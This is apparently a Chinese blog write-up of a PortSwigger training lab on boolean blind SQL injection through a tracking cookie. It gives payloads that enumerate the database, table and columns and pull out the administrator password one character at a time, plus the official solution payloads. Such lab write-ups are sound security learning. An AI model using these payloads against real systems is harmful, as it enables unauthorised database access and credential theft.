【PortSwiggerのWeb Security Academy靶场】SQL Injection系列 9th

本文详细介绍了在PortSwigger的Web Security Academy中进行Blind SQL Injection的实验室,包括确认注入点、爆破数据库名、表名、字段名以及数据的过程。遇到的难点在于某些函数如group_concat和limit无法使用,但通过调整payload,成功揭示了字段username和password。同时,提供了官方解析和针对初学者的学习资源。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Subject

Lab: Blind SQL injection with conditional responses

Url: portswigger.net/web-securit…


Mind Palace

在带着 cookies的后续访问网页时会找到出现的 Welcome back! 标志 ==> 无法回显 ==> 采用盲注的方式

0x01 确认注入点

0x02 爆破数据库名

# 测试information_schema是否可以利用
id' and substring(select 'a' from information_schema.tables limit 1,1,1) = 'a
id' and ascii(substring((select 'a' from information_schema.tables limit 1),1,1)) = 97--
# ==> 可以利用 
# 构造核心payload
id' and ascii(substring((select table_schema from information_schema.tables limit 1),{i},1)) > {mid}--
# ==> database name: public 

0x03 爆破表名

# 构造核心payload
id' and ascii(substring((select concat(table_name) from information_schema.tables where table_schema='public' limit 1),{i},1)) > {mid}--
# ==> table name: users 

0x04 爆破字段名

# 构造核心payload
id' and ascii(substring((select concat(column_name) from information_schema.columns where table_name='users' limit 1),{i},1)) > {mid}--
# ==> column name: username 有痛点无法解决 

无法解决的痛点:group_concat函数无法使用(与此同时concat函数可以正常使用);没有limit 1无法select出结果(与此同时limit 0,1 limit 1,1无法select出结果)==> 导致的结果:没有办法一次性爆破出所有的select的结构 每次只能输出最上面select出的结果

无法解决痛点导致只能爆破出一个字段名字:username(不过题目描述中表明了另一个字段的名字就是:password;所以先在这里插个眼等之后看如何解决上述痛点;先用payload证明一下另一个字段名确实是password

id' and (select 'a' from public.users where username='administrator' and length(password)>1) = 'a 

猜测:痛点的关键可能是在payload中最后使用了--注释符导致的

id' and substring((select column_name from information_schema.columns where table_name='users' limit 1),1,1) < 'z
# ==> 失败 

不用注释符还是没能解决group_concat和limit的问题(可能是数据库不支持这个函数?limit也不能使用就很奇怪。插眼。)

0x05 爆破数据

# 构造核心payload
id' and ascii(substring((select concat(password,'~',username) from users where username='administrator'),1,1)) > 32--
# where username='administrator' ==> password='ybi0bomgnupogefkhiuw' 

源码URL

gitee.com/eclipse-ten…


Look Ahead

关于官方解析

# 判断注入点
TrackingId=xyz' AND '1'='1

# 确认表名
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

# 确认字段名和administrator用户的存在
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

# 确认password长度
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a

# BP的Intruder模块爆破password
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a 

很奇怪的是今天刚做的几个靶场,group_concat() database() limit都表现不佳;原因不明;若有小伙伴碰巧看见这篇博客知道是什么原因 请在评论区为萌新解下惑 Thanks♪(・ω・)ノ


END ─=≡Σ(((つ•̀ω•́)つ

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
在这里插入图片描述
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值